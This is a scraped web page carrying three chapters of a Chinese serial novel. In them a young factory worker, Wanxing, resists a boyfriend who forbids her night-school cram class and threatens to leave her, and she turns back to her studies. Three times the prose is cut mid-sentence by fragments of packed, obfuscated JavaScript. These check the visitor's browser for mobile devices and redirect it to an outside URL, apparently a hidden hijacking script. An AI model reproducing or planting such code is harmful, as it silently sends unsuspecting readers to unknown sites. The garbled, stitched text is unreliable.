35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233583|197633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那天之后,张琪很少再提陈阳的事,只是看着晚星为陈阳付出的样子,心里满是担忧。而晚星,像是被爱情冲昏了头脑,依旧全身心地投入到这段感情里,甚至比以前更加小心翼翼地讨好陈阳。 为了多陪陈阳,晚星甚至减少了复习的时间,有时候兼职回来已经很晚,还要帮陈阳整理第二天要用的工具,等忙完所有事,已经快 midnight 了,根本没时间看书。自考的复习进度落下了不少,王老师找她谈过几次话,提醒她抓紧时间,晚星嘴上答应着,心里却还是把陈阳放在第一位。 有一次,晚星因为帮陈阳洗衣服,错过了夜校的课程。她心里有些着急,想第二天补看笔记,陈阳却满不在乎地说:“缺一节课而已,有什么大不了的?反正自考那么难,你也不一定能考上,不如多陪我一会儿。” 晚星心里的不满瞬间涌了上来,这是她第一次对陈阳产生抵触情绪:“自考对我很重要,不是你说的无所谓。我不能总陪着你,我还要学习。” 陈阳脸色一沉,语气不耐烦地说:“我不过是想让你多陪我一会儿,你至于这么较真吗?早知道你这么看重学习,我当初就不应该支持你。整天就知道学习、兼职,根本没时间陪我,你心里到底有没有我?” 看着陈阳生气的样子,晚星心里的不满立刻烟消云散,反而涌起一阵愧疚。她连忙道歉:“对不起,陈阳,我不是故意的。我下次一定安排好时间,多陪你,好不好?” 陈阳见她服软,脸色才缓和下来,伸手揉了揉她的头发:“这还差不多。好了,别想学习的事了,我带你去打游戏。” 晚星点了点头,乖乖地跟着陈阳去了网吧。看着陈阳专注打游戏的样子,她心里虽然还有一丝对学习的焦虑,却还是因为能陪着陈阳而感到满足。她告诉自己,等陈阳心情好了,她再抓紧时间补复习进度,爱情和学业,她一定能兼顾好。 可她不知道的是,爱情里的失衡,从来都不是单方面的妥协就能弥补的。陈阳早已习惯了她的付出,变得越来越得寸进尺,而她的一味迁就,只会让这段感情越来越偏离轨道。 那天从网吧回来,已经很晚了。晚星回到宿舍,看到张琪还在等她,脸上满是担忧。“你又跟陈阳去网吧了?”张琪的语气里带着失望,“你看看你,这阵子为了他,学习落下多少?夜校课程缺了好几次,你忘了你当初为什么要自考了吗?” “我没忘。”晚星低下头,小声说,“我只是……不想让他生气。等过阵子,我就专心复习。” “你每次都这么说,可你做到了吗?”张琪无奈地说,“晚星,爱情不是单方面的付出和妥协,你要有自己的底线。他如果真的喜欢你,就会尊重你的选择,支持你的梦想,而不是让你为了他放弃一切。你再这样下去,只会亲手毁掉自己的未来。” 晚星没有说话,心里却充满了矛盾。她知道张琪说的是对的,可她就是放不下陈阳,放不下这份来之不易的温暖。她抱着一丝侥幸,希望陈阳能慢慢改变,希望这段感情能有一个好的结果。 接下来的日子,晚星依旧在爱情和学业之间挣扎。她一边努力讨好陈阳,一边挤时间复习,整个人变得越来越疲惫,眼底的黑眼圈越来越重,整个人也消瘦了不少。陈阳却丝毫没有察觉她的辛苦,依旧我行我素,甚至偶尔还会因为一点小事就对她发脾气,事后又用几句温柔的话哄好她。 有一次,厂里发了奖金,陈阳第一时间就买了最新款的游戏皮肤,还请同事们去吃饭喝酒,却连一句“要不要给你买件衣服”都没问过晚星。晚星看着他手里崭新的游戏账号,心里满是失落,却还是笑着说:“你开心就好。” 那天晚上,晚星一个人坐在宿舍的窗边,看着外面的月光,心里第一次泛起了迷茫。她想起自己为陈阳做的一切,想起陈阳对她的敷衍与冷漠,想起张琪一次次的提醒,心里的信念开始动摇。可一想到陈阳的告白与拥抱,想到那些短暂的甜蜜,她又立刻坚定了决心——她不能放弃,她要再坚持一下,总有一天,陈阳会看到她的好,会为她改变。 她拿出手机,给陈阳发了一条消息:“早点休息,别喝太多酒。我等你回来。”消息发出去后,很久才收到陈阳的回复:“知道了,别催了,烦不烦。” 看着那条消息,晚星的心里一阵酸涩,泪水忍不住掉了下来。她紧紧咬着嘴唇,不让自己哭出声,心里却清楚地知道,这段青涩的爱恋,早已在不知不觉中,变了味道。可她还是不愿意放手,依旧固执地守着这份早已失衡的感情,一步步走向未知的深渊。 张琪躺在床上,看着晚星落寞的背影,轻轻叹了口气。她知道,晚星不撞南墙不会回头,她能做的,只有默默陪在她身边,等她幡然醒悟的那一天。而厂区里的风,依旧带着烟火气,却吹不散晚星心头的执念,也吹不醒这段看似甜蜜、实则脆弱的青涩恋情。 15. 第 15 章 四月的晚风还带着几分微凉,夜校下课的铃声刚响,晚星就攥着一张通知单快步走出教学楼,指尖因为用力而泛白。通知单是王老师刚发的,上面印着高中毕业证冲刺班的报名信息——距离毕业考核只剩两个月,冲刺班由经验丰富的老师针对性辅导,能大幅提高通过率,只是学费需要八百块,三天内就得交齐。 晚星低头看着通知单,心里又喜又忧。喜的是这是尽快拿到毕业证的好机会,只要顺利通过考核,她就能全身心投入自考,离摆脱流水线的目标又近了一步;忧的是八百块对她而言不是小数目,她兼职攒的钱大部分给陈阳买了生日礼物,剩下的仅够勉强维持日常开销,根本不够交学费。 “在想什么呢?这么入神。”熟悉的声音从身后传来,陈阳骑着电动车停在她身边,车筐里放着一瓶冰镇可乐,语气带着几分随意,“快上车,我带你去吃烤串。” 晚星收起通知单,压下心里的忐忑,小心翼翼地坐上后座,双手轻轻抓住他的衣角。往常这个时候,她会因为陈阳的邀约而满心欢喜,可今天,那张冲刺班通知单像一块石头,沉甸甸地压在她心头。她犹豫着要不要跟陈阳开口,想问问他能不能先借点钱,可一想到陈阳平时对花钱的吝啬,到了嘴边的话又咽了回去。 陈阳似乎察觉到她的不对劲,侧头问道:“怎么了?不高兴?是不是夜校课程太难了?” 晚星咬了咬嘴唇,终究还是鼓起勇气,轻声说:“王老师今天发了冲刺班的通知,我想报名。那个班能帮我顺利拿到毕业证,就是……学费要八百块,我手头不够。”她的声音越来越小,语气里带着一丝恳求,“陈阳,你能不能先借我点钱?等我兼职攒够了,就还给你。” 陈阳的车速顿了一下,随即嗤笑一声,语气里满是不屑:“报什么冲刺班?纯粹是浪费钱!不就是个高中毕业证吗?有没有都一样,你反正也是在厂里做工,花那八百块冤枉钱干什么?” 晚星心里一凉,连忙解释:“不一样的,陈阳。拿到毕业证我才能报自考,才能找一份像样的工作,不能一辈子在流水线上熬着。这八百块是投资自己,不是浪费钱。”她的语气带着急切,希望能让陈阳理解这份机会对她的重要性。 “投资自己?”陈阳猛地停下电动车,转过身看向她,脸色沉了下来,“我看你是被洗脑了!自考那么难,你以为报个冲刺班就能考上?到时候钱花了,证也没拿到,竹篮打水一场空,有意思吗?” “我不会的,我会努力复习,肯定能拿到毕业证的。”晚星的声音带着一丝委屈,却依旧坚定,“这是我唯一的机会,我不想放弃。陈阳,就借我点钱好不好?我一定会还给你的。” “我说不行就不行!”陈阳的语气陡然严厉起来,眼神里满是不耐烦,“八百块不是小数目,留着买点吃的、买点衣服不好吗?非要扔在这种没用的地方。我告诉你,这事没得商量,不准报!” 晚星看着他强硬的态度,心里的委屈瞬间涌了上来。她没想到陈阳会反应这么激烈,不仅不理解她,还完全否定她的追求。“这不是没用的地方,这对我很重要!”晚星的声音也提高了几分,带着一丝倔强,“我自己攒钱,不用你借了行不行?我就是跟你说一声,不是要跟你商量。” “你自己攒钱?”陈阳冷笑一声,眼神里带着嘲讽,“你那点兼职收入,省吃俭用一个月也攒不下几百块。等你攒够钱,考核都结束了。再说了,你把钱都花在这上面,以后还怎么陪我?还怎么给我买东西?” 他的话像一把刀子,狠狠扎在晚星心上。她没想到陈阳心里想的竟然是这些,完全不在乎她的未来,只想着自己的私欲。晚星的眼眶瞬间泛红,声音带着哽咽:“我攒钱是为了我自己的未来,不是为了一直给你买东西。陈阳,你能不能有点上进心?能不能为我想想?” “我没有上进心?”陈阳被她的话激怒了,语气越发暴躁,“我在厂里好好上班,工资稳定,哪里没有上进心?倒是你,整天想着折腾,又是夜校又是自考又是冲刺班,根本就不安分!你是不是觉得考上了证,就能摆脱我,找个比我好的人?” “我从来没有这么想过!”晚星急得哭了出来,“我只是想让我们以后的日子过得好一点,不想一辈子待在厂里。你为什么就不能理解我?为什么非要阻止我?” 这是两人确立关系以来,第一次爆发如此激烈的争吵。晚星哭得浑身发抖,心里又酸又涩,既有被否定的委屈,也有对陈阳自私的失望。而陈阳看着她哭,心里非但没有愧疚,反而更加烦躁,觉得她是在无理取闹。 “哭什么哭?我还没说你呢,你倒先哭上了。”陈阳皱着眉头,语气强硬,“我最后说一遍,不准报那个冲刺班。要么你放弃,要么我们就别联系了。”他用分手来威胁,笃定晚星离不开他。 晚星愣住了,哭声瞬间停了下来。她看着陈阳冰冷的眼神,心里一片冰凉。她没想到陈阳会用分手来逼她,更没想到在他心里,她的追求和未来,竟然比不上八百块钱。那一刻,之前所有的甜蜜与温暖,似乎都被这激烈的争吵冲淡了,只剩下满心的失望。 陈阳见她不说话,以为她服软了,语气稍缓了些,却依旧带着命令的口吻:“行了,别闹了。我带你去吃烤串,这事就翻篇了,以后不准再提报班的事。”说着,就想发动电动车。 “我不去吃烤串,我要回宿舍。”晚星的声音平静得可怕,没有一丝波澜。她解开头盔,从电动车后座下来,转身就往公交站台走。 “林晚星!”陈阳厉声喊住她,语气里满是怒火,“你非要跟我对着干是吧?行,你要是敢走,我们就分手!” 晚星的脚步顿住了,背对着他,肩膀微微颤抖。她心里很矛盾,一边是来之不易的感情,一边是她坚持了很久的梦想。她太害怕失去温暖了,可也不甘心放弃自己的未来。犹豫了很久,她终究还是转过身,看着陈阳,眼里满是疲惫与妥协:“我不报了,你别生气了。” 陈阳见她妥协,脸色才缓和下来,骑着电动车走到她身边:“这才对嘛。早这样不就好了,非要闹得大家都不开心。走,带你去吃烤串,给你赔罪。” 晚星摇了摇头,轻声说:“我不想吃,我有点累,想回宿舍休息。” “累?我看你是闹脾气闹累了。”陈阳不以为然地说,“行,那我送你回宿舍。不过你记住,以后不准再提报冲刺班的事,也不准再胡思乱想,安安稳稳跟我在一起就好。” 晚星没有说话,默默坐上电动车后座,双手却没有像往常一样抓住他的衣角,只是轻轻放在身侧。电动车行驶在夜色中,晚风拂过脸颊,带着一丝凉意,晚星的心里比晚风更冷。她看着陈阳的背影,第一次觉得这个曾经给她温暖的人,竟然如此陌生。 回到惠民小区门口,晚星径直走进小区,没有跟陈阳说一句话。陈阳看着她的背影,皱了皱眉,心里有些不满,却也没再多说,转身骑电动车离开了。 晚星回到宿舍,张琪立刻察觉到她的不对劲,连忙凑上来:“晚星,你怎么了?眼睛这么红,是不是哭了?是不是陈阳欺负你了?” 被张琪一问,晚星积压已久的情绪瞬间爆发,扑在她怀里放声大哭起来。她一边哭,一边把冲刺班的事、和陈阳的争吵,一五一十地告诉了张琪。 张琪听完,气得浑身发抖,拍着她的背,怒声道:“这个陈阳也太过分了!简直是自私自利到了极点!你为了自己的未来努力,他不仅不支持,还拿分手威胁你,根本就没把你放在心上!” 晚星哽咽着说:“我真的很想报那个冲刺班,那是我唯一的机会。可他说我要是报,就跟我分手……我不敢失去他,张琪,我太害怕一个人了。” “可你也不能为了他,放弃自己的未来啊!”张琪看着她卑微的样子,又气又心疼,“晚星,你醒醒吧!一个真正喜欢你的人,只会支持你的梦想,不会用分手威胁你放弃。陈阳他根本就不在乎你想不想要什么,他只在乎你能不能满足他的私欲,能不能一直陪着他混日子。你跟着他,只会越来越委屈自己,最后亲手毁掉自己的未来。” “我知道……我知道你说的是对的。”晚星擦了擦眼泪,声音带着一丝茫然,“可我就是放不下。他以前对我那么好,每天给我送早餐,陪我下班,那些温暖都是真的。我总觉得,他只是暂时不理解我,等他想通了,就会支持我的。” “那些温暖都是表面功夫!”张琪无奈地说,“他给你买早餐、陪你下班,花不了多少钱,也花不了多少时间,却能让你心甘情愿为他付出一切。可当你真正需要他支持的时候,他却退缩了,甚至用分手威胁你。这不是爱,这是算计!他就是吃准了你缺爱、害怕失去,才一次次拿捏你。” 张琪的话像一记重锤,狠狠砸在晚星心上。她不得不承认,张琪说的是对的。陈阳的好,从来都是低成本的,可当涉及到真正的利益和她的未来时,他的自私与短视就暴露无遗。这一次的争吵,像一道裂痕,打破了晚星对这段感情的美好幻想,让她开始重新审视这段关系。 “我再想想吧。”晚星疲惫地说,“冲刺班我暂时不报了,先缓和一下和他的关系。至于以后……我也不知道。” 张琪看着她疲惫又茫然的样子,无奈地叹了口气:“我也不逼你,你自己心里有数就好。只是希望你别再自欺欺人了,留个心眼,别把所有的希望都寄托在他身上。不管什么时候,只有你自己的能力和学历,才是最可靠的。” 晚星点了点头,躺在床上,脑海里反复回响着和陈阳的争吵。陈阳冰冷的语气、强硬的态度、用分手威胁她的样子,像一根根刺,扎在她心里。她想起自己为了陈阳省吃俭用、放弃休息时间、甚至落下复习进度,可换来的却是这样的结果。心里的信念,第一次出现了巨大的动摇。 第二天早上,陈阳依旧像往常一样,在厂区门口等晚星,手里拎着早餐。“早啊,晚星。”他笑着走上前,把早餐递给她,仿佛昨天的争吵从未发生过,“昨天是我不对,不该对你发脾气,你别往心里去。” 晚星接过早餐,心里五味杂陈。她看着陈阳温和的笑容,想生气,却又生不起来。可一想到昨天他的强硬态度,心里又满是失望。“我知道了。”她的声音平淡,没有一丝波澜。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233584|197633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陈阳察觉到她的疏离,却没有放在心上,只当她还在闹小脾气,伸手揉了揉她的头发:“好了,别生气了。晚上我带你去吃你爱吃的牛肉面,好不好?” 晚星没有回答,只是低头咬着早餐,沉默不语。两人并肩往车间走,一路无话,气氛格外尴尬。以前的甜蜜与默契,似乎在这场争吵后,消失得无影无踪。 到了车间,张琪看着晚星低落的样子,递过来一个眼神,满是担忧。晚星冲她摇了摇头,示意自己没事,可心里的苦涩,只有她自己知道。 一整天,晚星都心不在焉,流水线上的工作频频出错,被组长批评了好几次。她脑海里反复想着冲刺班的事,想着陈阳的态度,想着张琪的话,心里乱成一团麻。她不甘心放弃冲刺班,可又害怕失去陈阳,陷入了两难的境地。 午休时,晚星独自坐在车间楼下的长椅上,拿出那张冲刺班通知单,指尖一遍遍摩挲着上面的文字,眼里满是渴望与不甘。她想起自己刚来这个城市时,一无所有,每天在流水线上熬着,看不到未来的希望。是夜校和自考,给了她活下去的动力和方向,让她觉得自己的人生还有转机。可现在,陈阳却要亲手掐灭这束希望。 “在看什么?”陈阳的声音突然传来,晚星吓了一跳,连忙把通知单藏起来,抬头看向他。 “没什么。”晚星的语气有些不自然。 陈阳走到她身边坐下,眼神里带着审视:“是不是还在想冲刺班的事?我跟你说过,那事不准再提了。” 晚星心里一紧,连忙摇头:“没有,我没想了。” “那就好。”陈阳满意地点了点头,从口袋里掏出一包烟,点燃一根,吸了一口,“我跟你说,女孩子没必要那么拼。等我们攒点钱,就租个大点的房子,安安稳稳过日子。你就在厂里好好做工,我养你,不好吗?” “我不想一辈子在厂里做工。”晚星小声说,“我想有自己的事业,想靠自己的力量过上更好的日子。” 陈阳的脸色沉了下来,语气又变得不耐烦:“你怎么又提这个?我说了,那些都是没用的折腾。你怎么就听不懂呢?” 晚星没有再说话,只是默默地低下头。她知道,和陈阳争论下去,只会又一次爆发争吵。她选择了沉默,可心里的不甘与失望,却越来越强烈。她第一次意识到,或许张琪说的是对的,她和陈阳,从一开始就不是一个世界的人。他们的价值观、人生追求,都有着天壤之别,这样的感情,或许从一开始就注定不会长久。 下午下班,陈阳要带晚星去吃牛肉面,晚星却以“要复习”为由拒绝了。“我好久没好好复习了,落下了很多进度,想回去补一补。”她的语气平淡,没有一丝商量的余地。 陈阳皱了皱眉,心里有些不满,却也没强迫她:“行吧,那你回去复习。不过别熬太晚,照顾好自己。”他的语气里带着一丝敷衍,说完就转身走了,没有像往常一样坚持送她回去。 晚星看着他的背影,心里没有一丝不舍,反而有一种解脱的感觉。她转身走向公交站台,心里暗暗下定决心,冲刺班她一定要报,哪怕不跟陈阳借钱,哪怕再多打几份兼职,也要凑够学费。她不能因为陈阳,就放弃自己的未来。 回到宿舍,晚星就开始盘算怎么凑学费。她把自己的积蓄翻出来,只有三百多块,还差四百多。她想着再多找一份兼职,比如早上早点起来去早餐店帮忙,晚上发完传单再去夜市摆摊,应该能在三天内凑够钱。 张琪看着她忙碌的样子,知道她心里已经有了决定,欣慰地说:“这才对嘛。晚星,不管你做什么决定,我都支持你。钱不够的话,我这里还有一些,你先拿去用。” 晚星看着张琪,眼里满是感动:“谢谢你,张琪。不用了,我自己能凑够。我想靠自己的力量,完成这件事。” “好,我相信你。”张琪笑着说,“要是需要帮忙,随时跟我说。不管陈阳怎么样,我都会陪着你。” 晚星点了点头,心里暖暖的。有了张琪的支持,她更加坚定了报冲刺班的决心。她知道,这条路或许会很艰难,或许会和陈阳彻底决裂,但她不再害怕。因为她明白,只有坚持自己的追求,才能拥有真正属于自己的未来。 那天晚上,晚星没有给陈阳发消息,也没有回复他发来的消息。她坐在书桌前,认真地复习功课,眼神里满是坚定。和陈阳的争吵,虽然让她痛苦,却也让她清醒。她不再是那个为了爱情不顾一切的小女孩,她开始懂得,爱情不是生活的全部,自己的未来和梦想,才值得用一生去追求。 而陈阳,见晚星不回消息,心里有些烦躁,却也没太在意,只当她还在闹脾气,玩了一会儿游戏就睡了。他从未想过,这场因冲刺班引发的争吵,会成为他们感情破裂的开始,更从未想过,晚星已经在悄然成长,不再是那个可以被他随意拿捏的女孩。 夜色渐深,宿舍里的灯光依旧亮着。晚星握着笔,在笔记本上认真地记着知识点,眼里闪烁着坚定的光芒。她知道,从她下定决心报冲刺班的那一刻起,她和陈阳之间的裂痕,就再也无法弥补。而她的人生,也将迎来新的转折。 16. 第 16 章 暮春的夜校教学楼浸在薄暮里,窗外的梧桐叶被晚风拂得轻响,教室里却格外安静,只有笔尖划过纸张的沙沙声。晚星坐在靠窗的位置,目光落在课本上,心思却早已飘远——口袋里的手机震动了三次,都是陈阳发来的消息,催她下课后去网吧陪他打游戏,语气里带着不容拒绝的催促。 她指尖蜷缩着,盯着屏幕上的消息,心里一阵纠结。这几天她忙着凑冲刺班学费,早上五点就去早餐店兼职,晚上发完传单又赶去夜市摆摊,回到宿舍已是深夜,只能挤出一小时复习。即便如此,陈阳依旧频繁找她,要么让她陪玩,要么让她帮忙洗衣服,全然不顾她的疲惫与忙碌。 “林晚星,这道题的思路再讲一遍。”讲台上的王老师突然开口,语气温和却带着提醒。全班目光齐刷刷投向她,晚星猛地回神,脸颊瞬间泛红,慌乱地站起身,盯着课本上的文言文,支支吾吾说不出一句完整的话——她刚才走神,根本没听老师讲课。 王老师看着她窘迫的样子,没有当众批评,只是摆了摆手:“坐下吧,下课来我办公室一趟。”晚星攥着笔的手微微发紧,心里泛起一阵不安。她知道王老师看出了她的状态不对,这段时间她上课频繁走神,作业敷衍了事,上次小测的成绩更是下滑了十几名,离冲刺班的录取标准越来越远。 下课铃声响起,晚星磨磨蹭蹭地收拾好课本,跟着王老师往办公室走。走廊里的灯光昏黄,映得两人的影子忽长忽短,晚星低着头,指尖反复绞着课本边角,做好了挨批评的准备。 王老师的办公室不大,一张旧办公桌,两个书架,桌上堆着厚厚的试卷和教案。他示意晚星坐下,给她倒了一杯温水:“喝点水吧,看你这几天眼底的黑眼圈,是不是没休息好?” 晚星接过水杯,指尖传来温热的触感,眼眶微微发热,小声说:“对不起,王老师,我刚才上课走神了,还让您失望了。” “我不是要批评你。”王老师坐在她对面,语气温和却严肃,拿起桌上的小测卷递给她,“你自己看看,这成绩和你之前的水平差了多少。我记得你刚入夜校时,哪怕每天兼职到很晚,也会提前半小时来教室背书,作业永远是最认真的,连笔记都记得工工整整。可这一个月,你变了。” 晚星看着试卷上刺眼的分数,指尖微微发颤,心里满是愧疚。“我……”她张了张嘴,想说些什么,却又不知道该如何开口,总不能告诉老师,自己因为谈恋爱,把学习都抛到了脑后。 王老师仿佛看穿了她的心思,轻轻叹了口气:“我知道你年纪小,遇到喜欢的人很正常,也能理解你想珍惜感情的心情。可晚星,你有没有想过,你拼命来夜校、想考毕业证、想自考,到底是为了什么?” 晚星猛地抬头看向他,眼里满是茫然。她想起自己刚来这个城市时,在流水线上日复一日地重复劳作,手指被零件磨得通红,每天都活在看不到未来的绝望里。是夜校给了她希望,让她觉得自己还有机会摆脱现状,可现在,她却因为一段感情,快要亲手毁掉这份希望。 “你出身普通,没有靠山,唯一能改变命运的,就是知识和学历。”王老师的声音掷地有声,“感情很重要,但不能成为你放弃前途的借口。一个真正值得你珍惜的人,会支持你的梦想,会陪着你一起成长,而不是让你为了他,放弃自己的追求,困在原地打转。” 他顿了顿,看着晚星泛红的眼眶,继续说道:“我见过太多像你一样的孩子,因为年轻不懂事,为了感情荒废学业、耽误前途,最后追悔莫及。你不一样,你有韧劲、有野心,也有改变命运的决心,别因为一时的贪恋,毁掉自己一辈子的路。” 王老师的话像一盏明灯,瞬间照亮了晚星混沌的内心。她想起陈阳一次次阻止她报冲刺班、用分手威胁她、只顾自己享乐却从不在乎她的未来,想起自己为了迎合陈阳,省吃俭用、放弃复习、落下学业,想起张琪一遍遍的提醒和担忧,心里满是悔恨。 泪水终于忍不住掉了下来,晚星哽咽着说:“王老师,我知道错了。我不该因为感情忽略学习,不该放弃自己的梦想。我……我想报冲刺班,我想好好复习,想拿到毕业证,想考上自考。” “知道错就好,亡羊补牢,犹未为晚。”王老师递给她一张纸巾,语气缓和了许多,“冲刺班的名额还留着一个,我给你留到周末。学费的事,你要是实在凑不够,我这里可以先借你一些,等你兼职攒够了再还我。” 晚星连忙摇头,擦了擦眼泪:“谢谢您,王老师,不用了。我已经凑得差不多了,周末一定把学费交上。我以后再也不会走神了,一定好好复习,不辜负您的期望。” “好,我相信你。”王老师笑了笑,眼神里满是期许,“记住,感情是锦上添花,不是雪中送炭。只有你自己强大了,才能拥有真正平等、长久的感情,才能过上自己想要的生活。别让任何人,成为你前进路上的绊脚石。” 从办公室出来,晚星的心里豁然开朗。晚风拂过脸颊,带着草木的清香,之前的纠结、迷茫与悔恨,都被坚定取代。她拿出手机,看着陈阳发来的消息,没有回复,直接将手机调成静音,放进书包里。她知道,从现在起,她要把所有心思都放在学习上,至于和陈阳的感情,她需要重新考量,更不会再为了这份感情,放弃自己的前途。 回到宿舍,张琪正坐在床上看书,看到她回来,立刻凑上来:“怎么样?王老师找你说什么了?是不是说你成绩下滑的事?” 晚星笑着点了点头,把王老师和她谈心的事告诉了张琪,眼里满是坚定:“张琪,我想通了。我不能再为了陈阳耽误自己了,我要好好复习,报冲刺班,拿到毕业证,专心准备自考。” 张琪听完,激动地抱住她:“太好了晚星!你终于清醒了!我就知道你不会一直糊涂下去的。放心,不管是凑学费还是复习,我都陪着你。” “嗯。”晚星点了点头,心里暖暖的。有王老师的指引和张琪的支持,她更加坚定了自己的选择。那天晚上,她没有再想陈阳的事,也没有回复他的消息,坐在书桌前,认真地整理复习笔记,把之前落下的功课一点点补回来。灯光下,她的侧脸格外专注,眼里闪烁着重新燃起的光芒。 第二天早上,陈阳依旧在厂区门口等晚星,手里拎着早餐,脸上带着不满:“你昨天晚上怎么不回我消息?也不去网吧找我,到底在干什么?” 晚星接过早餐,语气平淡地说:“我昨天太累了,回来就睡了,没看到消息。以后我晚上要复习,不能陪你去网吧了,也没时间帮你洗衣服了。” 陈阳愣了愣,显然没料到她会这么说,脸色瞬间沉了下来:“复习?你又提复习?林晚星,你是不是还在生我的气?我都说过了,冲刺班别报了,你怎么就不听?” “我没有生气,也不是跟你赌气。”晚星抬起头,眼神坚定,“陈阳,学习对我很重要,我一定要报冲刺班,一定要拿到毕业证。以后我要把时间都花在学习上,可能没时间陪你了。” “你这话是什么意思?”陈阳的语气陡然严厉起来,“为了学习,你就要冷落我?林晚星,你是不是觉得我配不上你了,想借着学习摆脱我?” “我没有这么想。”晚星皱了皱眉,语气里带着一丝疲惫,“我只是想专注于自己的事。我们都需要冷静一下,想想彼此真正想要的是什么。”说完,她不再看陈阳,转身走进车间,留下陈阳一个人站在原地,脸色阴沉得可怕。 接下来的几天,晚星彻底改变了以往的状态。早上提前半小时到车间,利用开工前的时间背知识点;午休时不再陪陈阳闲逛,而是坐在长椅上刷题;晚上下课后,直接去夜市摆摊,收摊后回到宿舍,复习到深夜才睡觉。她几乎断了和陈阳的所有主动联系,陈阳发来的消息,她只偶尔回复一句,陈阳约她见面,她也都以“要复习”“要兼职”为由拒绝了。 陈阳心里的不满越来越强烈。他习惯了晚星的迁就与陪伴,习惯了她围着自己转,晚星的突然疏远,让他觉得自己的掌控感被打破了。他不仅没有反思自己,反而觉得晚星是故意跟他作对,是被王老师洗了脑,变得越来越“自私”“不近人情”。 有一次,陈阳在车间楼下拦住晚星,语气冰冷:“林晚星,你到底想怎么样?非要把我们的关系搞成这样吗?” 晚星停下脚步,看着他,语气平静:“陈阳,我不想怎么样。我只是想好好学习,完成自己的目标。如果你不能理解我,那我们只能暂时保持距离。” “理解你?谁来理解我?”陈阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233585|197633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音提高了几分,带着怒火,“我每天等你、关心你,可你呢?眼里只有学习、兼职,根本没有我!你是不是早就不想跟我在一起了,找学习当借口?” 晚星看着他蛮不讲理的样子,心里一阵失望。她知道,和陈阳根本无法沟通,他永远只会站在自己的角度想问题,永远不会理解她的追求。“随便你怎么想吧。”晚星说完,绕开他,径直走进车间,没有丝毫留恋。 从那以后,陈阳对晚星的态度彻底冷淡下来。他不再给晚星送早餐,不再等她下班,甚至在厂区里遇到,也会刻意避开,连一个眼神都吝啬给予。偶尔和同事聊天,提到晚星,他也会语气嘲讽地说:“装什么装,不就是读个夜校吗,真以为自己能飞黄腾达了。” 这些话传到晚星耳朵里时,她正在背知识点。听到后,她只是轻轻皱了皱眉,随即又低下头,继续复习。心里虽然还有一丝酸涩,但更多的是释然。她知道,陈阳的冷淡,反而让她能更专心地学习,不用再被感情琐事困扰。 张琪看着陈阳的所作所为,气得不行:“这个陈阳也太过分了!自己不上进,还见不得你好,简直是小人!晚星,你别理他,他就是故意气你,想让你放弃学习。” 晚星笑了笑,语气平静:“我知道。我不会理他的,也不会因为他放弃自己的目标。现在对我来说,学习最重要,其他的事,都不重要了。” 她的心态越来越平和,学习状态也越来越好。王老师看到她的变化,很是欣慰,经常在课堂上表扬她,还特意给她整理了冲刺班的专属复习资料,帮她梳理知识点、讲解难点。在王老师的指导和自己的努力下,晚星的成绩进步很快,第二次小测,直接冲进了班级前三名。 周末那天,晚星终于凑够了冲刺班的学费,把钱交给了王老师。拿到冲刺班录取通知书的那一刻,晚星的心里满是喜悦与坚定。她知道,这是她重新拥抱未来的开始,不管前路有多艰难,她都要坚持走下去。 晚上摆摊时,晚星遇到了陈阳和他的同事。陈阳看到她穿着沾满灰尘的兼职马甲,在夜市的灯光下叫卖,眼里闪过一丝嘲讽,故意大声对同事说:“你看,有些人就是喜欢折腾,放着安稳日子不过,非要来这里受这份罪,真是自找的。” 他的同事跟着哄笑起来,晚星的脸颊瞬间泛红,心里一阵难堪。但她很快调整好心态,没有理会他们,继续低着头,认真地招呼顾客。她知道,现在的委屈和辛苦,都是为了以后能摆脱这样的生活,为了能拥有更多的选择。 陈阳本以为晚星会像以前一样,委屈地来找他,可看到她一副毫不在意的样子,心里的怒火更盛,却又无可奈何。他只能带着同事,悻悻地离开了夜市。 收摊后,晚星推着小推车往宿舍走。夜色渐深,街道上的行人越来越少,晚风带着微凉的暖意,拂过她的脸颊。她抬头看向天上的星星,眼里满是坚定。虽然和陈阳的感情走到了这一步,心里难免有些遗憾,但她从不后悔自己的选择。 回到宿舍,张琪给她留了热水。晚星洗漱完,坐在书桌前,拿出冲刺班的复习资料,认真地看了起来。灯光下,她的眼神明亮而坚定,不再有以往的迷茫与怯懦。她知道,她已经迷途知返,重新找到了自己的方向。 而陈阳,回到出租屋后,心里依旧烦躁不已。他看着手机里和晚星的聊天记录,看着那些被忽略的消息,心里既有怒火,又有一丝不易察觉的失落。他习惯了晚星的存在,习惯了她的付出,晚星的彻底疏远,让他觉得生活里少了点什么。可他骄傲又自私,不肯低头,也不肯理解晚星的追求,只能任由两人的关系,越来越远。 